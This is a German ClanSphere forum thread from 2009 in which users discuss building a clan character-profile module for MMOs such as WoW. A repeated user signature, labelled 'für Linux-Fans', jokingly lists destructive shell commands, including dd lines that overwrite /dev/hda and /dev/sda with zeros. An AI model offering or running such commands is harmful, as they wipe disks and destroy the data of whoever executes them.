Demo

Probiere ClanSphere aus und teste daran herum. Demo


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pHaeno* ClanSphere Team


Geekboy





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# Antwort: 21 - 04.11.2009 um 19:22 Uhr
Naja, meine Version sieht derzeit so aus:

Übersicht: http://www.krahkrah.net/charakter-uebersicht/Sinaris/

Detailansicht: http://www.krahkrah.net/charakter-details/1-Sinaris/

Die anderen daten wie Berufe etc. kommen auch noch.


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hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



weichmann... +-
Blondi (15:08):
bist du nen mann oder nen weich ei?


pHaeno* (15:09):
weichmann


mehr... +-
if($ahnung==0) {
read( 'handbuch' ) ;
}



## für Linux-Fans

kill -9 `netstat -a | grep https | awk -e '{ print $3; }'`
dd if=/dev/zero of=/dev/hda count=1M
dd if=/dev/zero of=/dev/sda count=1M
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# Antwort: 22 - 04.11.2009 um 19:25 Uhr
das ist aber ned clansphere, was du da zeigst ;-)


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pHaeno* ClanSphere Team


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# Antwort: 23 - 04.11.2009 um 19:31 Uhr
Ich weiß, aber auch eine schöne Art zu zeigen wie man es machen kann.


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hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



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# Antwort: 24 - 04.11.2009 um 19:47 Uhr
joar, auf das mit den twinks ist garkeiner gekommen

das bau ich vielleicht auch noch ein


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# Antwort: 25 - 04.11.2009 um 20:16 Uhr
Ich hab dir gesagt ich würde dinee Version gern Testen
Da fällt mir einiges ein was man da machen könnte


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hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
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# Antwort: 26 - 04.11.2009 um 21:02 Uhr
hast post;-)


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# Antwort: 27 - 04.11.2009 um 21:58 Uhr
Mhm, nutzt du irgendwelche Daten von dem Armory ?


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hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



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Blondi (15:08):
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ven0m


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# Antwort: 28 - 05.11.2009 um 09:17 Uhr
Joa... hab ja gesagt, das ich mir das Heute mal anschaue

Spontan ist mir aufgefallen das eine art "Voreinstellung" im Admin bereich fehlt in der man eine art "Spielepaket" auswählt. Das hattest du ja damals so "geplant"


Ich würde das Formular zum Charakter erstellen folgendermaßen aufbauen:

Spiel -> Wählt ein Spiel aus, sofern keines im Adminbereich eingestellt wurde.

Je nachdem welches Spiel gewählt oder eingestellt wurde, könnte man das restliche Formular anpassen.
Zum beispiel die Wahl der Fraktion, die Rasse, Klasse und evtl. auch die Berufe als Drop-down.
Das würde das ganze evtl. etwas leichter für die Leute machen. Und so wären die dinge etwas einheitlicher, wenn man die liste aller Charaktere anschaut.



Und da ich gerade etwas im stress bin, schreib ich nachher weiter


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ven0m

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# Antwort: 29 - 05.11.2009 um 18:18 Uhr
05.11.2009 um 08:17 Uhr - ven0m:
Joa... hab ja gesagt, das ich mir das Heute mal anschaue

Spontan ist mir aufgefallen das eine art "Voreinstellung" im Admin bereich fehlt in der man eine art "Spielepaket" auswählt. Das hattest du ja damals so "geplant"


das hab ich wie gesagt vor mit den spiele-modul noch zu kombinieren, aber bin noch ned dazu gekommen.


Ich würde das Formular zum Charakter erstellen folgendermaßen aufbauen:

Spiel -> Wählt ein Spiel aus, sofern keines im Adminbereich eingestellt wurde.

Je nachdem welches Spiel gewählt oder eingestellt wurde, könnte man das restliche Formular anpassen.
Zum beispiel die Wahl der Fraktion, die Rasse, Klasse und evtl. auch die Berufe als Drop-down.
Das würde das ganze evtl. etwas leichter für die Leute machen. Und so wären die dinge etwas einheitlicher, wenn man die liste aller Charaktere anschaut.


das ganze aber für mehrere mmo's zu realisieren erfordert riesige datenmengen, und das wissen, wie es in jedem mmo benannt ist

das ganze wird sich für wow dann verkürzen, wenn ich den armory-linnk fertig hab



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ven0m


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# Antwort: 30 - 05.11.2009 um 20:55 Uhr
mit den datenmengen kann ich dir nur zustimmen.
An dieser stelle ist dann die community gefragt derartige daten zu liefern

Allerdings sollte man evtl. bedenken, das durch eine derartige "änderung" ein späteres erweitern leichter fallen sollte, oder vertuh ich mich da?


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# Antwort: 31 - 05.11.2009 um 22:13 Uhr
du meinst also das sich jeder clan die "spieleconfig" selber erstellen soll? hmm das ginge, und dafür dann ne kleine resourcendatenbank, wo man sich die daten-sets runterladen kann^^ gute idee^^


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# Antwort: 32 - 05.11.2009 um 22:47 Uhr
ich denke, anders wäre der aufwand für dich einfach zu groß.

zumal hier wahrscheinlich niemand abschätzen kann, für welche zwecke das modul eingesetzt wird.


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# Antwort: 33 - 05.11.2009 um 23:01 Uhr
da haste wohl recht^^ hmm mmal gucken wie ich das realisiere^^


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# Antwort: 34 - 16.11.2009 um 19:05 Uhr
wollt mal wieder nachfragen ob es schon was neues gibt


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# Antwort: 35 - 16.11.2009 um 23:16 Uhr
noch ned, nachdem ich das template fertig hab, und das morgen online geht, und ich dann das für YEAS fertig hab, werde ich schnell noch die newsletter-anpassung gemacht hab, gehts hier weiter ;-)


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# Antwort: 36 - 02.12.2009 um 00:15 Uhr
wird das auch für shaiya einsetzbar sein? ich hoffe doch mal xD


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# Antwort: 37 - 02.12.2009 um 13:37 Uhr
was ist an shaiya so besonders, das es da nicht für gehen sollte?^^


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s0uLy


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# Antwort: 38 - 05.12.2009 um 05:57 Uhr
war ja nur ne frage. kenn die unterschiede ja nich zu wow ...


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# Antwort: 39 - 05.12.2009 um 18:26 Uhr
ich eben auch ned^^


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ven0m


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# Antwort: 40 - 09.12.2009 um 19:54 Uhr
*lässt ein kleinen push da*

spaß bei seite, wollte mal nachfragen ob es schon wieder etwas neues gibt


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ven0m

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